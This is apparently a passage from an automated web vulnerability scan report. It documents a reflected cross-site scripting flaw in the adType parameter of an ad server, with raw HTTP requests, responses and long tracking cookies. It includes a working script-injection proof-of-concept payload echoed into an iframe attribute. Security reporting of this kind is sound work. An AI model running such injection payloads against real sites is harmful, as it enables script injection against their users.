sglst=2280sbpelkxlm50000000c3m050k0c50cdsnlkxlm501sim00c3m050k0c50carllkxlm501sim00c3m050k0c50ccg5lkxlm501sim00c3m050k0c50c9rslkkpke0eokd00u3m050k0d50uam5lkkxr8002zw00n3m050k0d50ncd4lkxlm5006bu00c3m050k0c50ccrglkxlm501sim00c3m050k0c50ccnolkxlm501sim00c3m050k0c50cabelkxlm5006bu00c3m050k0c50cdd8lkxlm5006bu00c3m050k0c50ccy2lkxlm501sim00c3m050k0c50caoplkb5u209jqc0063e000j00500cnxlkxlm501sim00c3m050k0c50cbq3lkxlm501sim00c3m050k0c50cbvplkxlm5006bu00c3m050k0c50caoilkxlm501sim00c3m050k0c50c942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm501sim00c3m050k0c50cbvclkxlm501sim00c3m050k0c50cc5flkxlm501sim00c3m050k0c50c56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00c3m050k0c50cawklkxlm501sim00c3m050k0c50casulkb5u209jqc0063e000j00500crplkxlm501sim00c3m050k0c50casqlkxlm501sim00c3m050k0c50cc5rlkov6e0000000f3m050k0d50faw8lkxlm501sim00c3m050k0c50cc60lkxlm501sim00c3m050k0c50cdc4lkxlm501sim00c3m050k0c50cd26lkxlm501sim00c3m050k0c50cdnjlkxlm501sim00c3m050k0c50cbrilkxlm501sim00c3m050k0c50ccbclkxlm501sim00c3m050k0c50cc85lkxlm501sim00c3m050k0c50ccsslkxlm501sim00c3m050k0c50cc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6h100z3m050k0d50wc1elkxlm501sim00c3m050k0c50cc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00c3m050k0c50cc8flkxlm501sim00c3m050k0c50ca6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00c3m050k0c50c9z6lkxlm501sim00c3m050k0c50cdbtlkxlm501sim00c3m050k0c50cdyllkxlm501sim00c3m050k0c50c0kllklhm40c4010053l000k005009q4lkxlm501sim00c3m050k0c50c9q5lkb5u20mfs300o3l000k00500b3zlkxlm501sim00c3m050k0c50c0t7ljyxb410gtn0173m050k0d50wdgflkkpke0eokd00u3m050k0d50u9mjlkxlm50000000c3m050k0c50cbo0lkb5u20o8ap0103m050k0d50wbo1lkkyy00cmo50093l000k005009pglkxlm501sim00c3m050k0c50ccwalkxlm501sim00c3m050k0c50cd86lklhm40c4010053l000k00500d84lkxlm501sim00c3m050k0c50cdqllkxlm501sim00c3m050k0c50cdz3lkxlm5006bu00c3m050k0c50ccm6lkxlm501sim00c3m050k0c50ccxdlkxlm501sim00c3m050k0c50c719lkb5u20o8ap00i3m050k0c50d71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00c3m050k0c50ccc3lkxlm501sim00c3m050k0c50cdgilkb5u209jqc0063e000j00500cthlkxlm501sim00c3m050k0c50c4wclkb5u20o8ap00i3m050k0c50d8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm501sim00c3m050k0c50carilkxlm50000000c3m050k0c50cbwjlkkyy00ef6r00l3m050k0d50lcbplkxlm501sim00c3m050k0c50c9gelkxlm501sim00c3m050k0c50c; vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f23eoh127p10l24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr8160658j30136z01RxBKhFQhB00ein34tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:47 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15usm01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:47 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:47 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8ql0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j370183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1lkkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:47 GMT; Path=/
Set-Cookie: vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:47 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 14:03:46 GMT
Content-Length: 3562

<IFRAME SRC="http://ad.doubleclick.net/adi/N5371.media6/B5451956.2;sz=160x600;ord=1305036227156;click0=http://ad.media6degrees.com/adserv/clk?tId=5000658895046721|cId=6522|secId=2834|height=600|pubId=
...[SNIP]...
edia6degrees.com/adserv/clk?tId=5000658895046721|cId=6522|secId=2834|height=600|pubId=2|advId=1065|width=160|spId=33080|invId=4139|adType=iframe|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l4f0a9"><script>alert(1)</script>62aa3eb008c&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5r
...[SNIP]...

4.98. http://ad.media6degrees.com/adserv/csst [adType parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/csst

Issue detail

The value of the adType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b01fc"><script>alert(1)</script>efac68d6958 was submitted in the adType parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=lb01fc"><script>alert(1)</script>efac68d6958&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl= HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt115sj2xzt1tr37xzt1tr37xzt115sj2xzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15sj201a3m050k0d50w; rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkze4r000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pjlkxrxz000000063m050p01lkze3o000000043m0415holkxlm50000000c3m050m7alkkxrb0000000m3m0513mklkxrxz000000063m050m7flkkyyl0000000k3m05101ulkze3o000000043m040zoklkze3o000000043m0412zglkxrxz000000063m0513lxlkxrxz000000063m050zp4lkze3o000000043m04148ilkxlm50000000c3m050xvclkze3o000000043m0412yxlkxrxz000000063m0515iglkxq0l000000083m0513n7lkze3y000000023m0216s2lkxpyu000000093m0514hplkxlm50000000c3m050znmlk3462000000153m0514hclkxlm50000000c3m050wd7lkze3o000000043m04102plkxrxz000000063m0510tylkkpku0000000t3m050p1blkb5u2000000103m050p1alkze3o000000043m0400bvlk9pe8000000113m0515xylk60qe000000143m0510lxlkxrxz000000063m05103blkxrxz000000063m0510telkd7nq0000000z3m0516rslkxppm0000000a3m050c9slk9pe8000000113m0513mxlkze3o000000043m0412emlkze3o000000043m0410rdlkdkly0000000x3m05126qlkxrxz000000063m050mj2lkkxrb0000000m3m050kualkkpqq0000000p3m05163plkxlm50000000c3m050z9zlkze3y000000023m020z9xlkze3o000000043m040m45lkl0r50000000i3m050m40lkkxrb0000000m3m050zqylkxrxz000000063m050mjelkkxrb0000000m3m0512qnlkkplt0000000r3m050ovslkze3o000000043m0412x6lkxrxz000000063m050bo8lkb5u2000000103m0514e9lkze3o000000043m040mjjlkl0r50000000i3m051342lkze3y000000023m020lw5lkb5u2000000103m0516aulkze3o000000043m0415k9lkxlm50000000c3m0516atlkxlm50000000c3m051203lkb5u2000000103m05163clkxlm50000000c3m051204lkkyy00000000l3m050afqlkze3o000000043m040o0vlkkpqx0000000o3m050z2ilkkxrb0000000m3m0513ovlkxrxz000000063m05; sglst=2280sbpelkxlm50000000c3m050k0c50cdsnlkxlm501sim00c3m050k0c50carllkxlm501sim00c3m050k0c50ccg5lkxlm501sim00c3m050k0c50c9rslkkpke0eokd00u3m050k0d50uam5lkkxr8002zw00n3m050k0d50ncd4lkxlm5006bu00c3m050k0c50ccrglkxlm501sim00c3m050k0c50ccnolkxlm501sim00c3m050k0c50cabelkxlm5006bu00c3m050k0c50cdd8lkxlm5006bu00c3m050k0c50ccy2lkxlm501sim00c3m050k0c50caoplkb5u209jqc0063e000j00500cnxlkxlm501sim00c3m050k0c50cbq3lkxlm501sim00c3m050k0c50cbvplkxlm5006bu00c3m050k0c50caoilkxlm501sim00c3m050k0c50c942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm501sim00c3m050k0c50cbvclkxlm501sim00c3m050k0c50cc5flkxlm501sim00c3m050k0c50c56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00c3m050k0c50cawklkxlm501sim00c3m050k0c50casulkb5u209jqc0063e000j00500crplkxlm501sim00c3m050k0c50casqlkxlm501sim00c3m050k0c50cc5rlkov6e0000000f3m050k0d50faw8lkxlm501sim00c3m050k0c50cc60lkxlm501sim00c3m050k0c50cdc4lkxlm501sim00c3m050k0c50cd26lkxlm501sim00c3m050k0c50cdnjlkxlm501sim00c3m050k0c50cbrilkxlm501sim00c3m050k0c50ccbclkxlm501sim00c3m050k0c50cc85lkxlm501sim00c3m050k0c50ccsslkxlm501sim00c3m050k0c50cc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6h100z3m050k0d50wc1elkxlm501sim00c3m050k0c50cc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00c3m050k0c50cc8flkxlm501sim00c3m050k0c50ca6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00c3m050k0c50c9z6lkxlm501sim00c3m050k0c50cdbtlkxlm501sim00c3m050k0c50cdyllkxlm501sim00c3m050k0c50c0kllklhm40c4010053l000k005009q4lkxlm501sim00c3m050k0c50c9q5lkb5u20mfs300o3l000k00500b3zlkxlm501sim00c3m050k0c50c0t7ljyxb410gtn0173m050k0d50wdgflkkpke0eokd00u3m050k0d50u9mjlkxlm50000000c3m050k0c50cbo0lkb5u20o8ap0103m050k0d50wbo1lkkyy00cmo50093l000k005009pglkxlm501sim00c3m050k0c50ccwalkxlm501sim00c3m050k0c50cd86lklhm40c4010053l000k00500d84lkxlm501sim00c3m050k0c50cdqllkxlm501sim00c3m050k0c50cdz3lkxlm5006bu00c3m050k0c50ccm6lkxlm501sim00c3m050k0c50ccxdlkxlm501sim00c3m050k0c50c719lkb5u20o8ap00i3m050k0c50d71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00c3m050k0c50ccc3lkxlm501sim00c3m050k0c50cdgilkb5u209jqc0063e000j00500cthlkxlm501sim00c3m050k0c50c4wclkb5u20o8ap00i3m050k0c50d8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm501sim00c3m050k0c50carilkxlm50000000c3m050k0c50cbwjlkkyy00ef6r00l3m050k0d50lcbplkxlm501sim00c3m050k0c50c9gelkxlm501sim00c3m050k0c50c; vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f23eoh127p10l24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr8160658j30136z01RxBexG3Ka00ein34tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:47 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15usm01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:47 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:47 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8ql0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d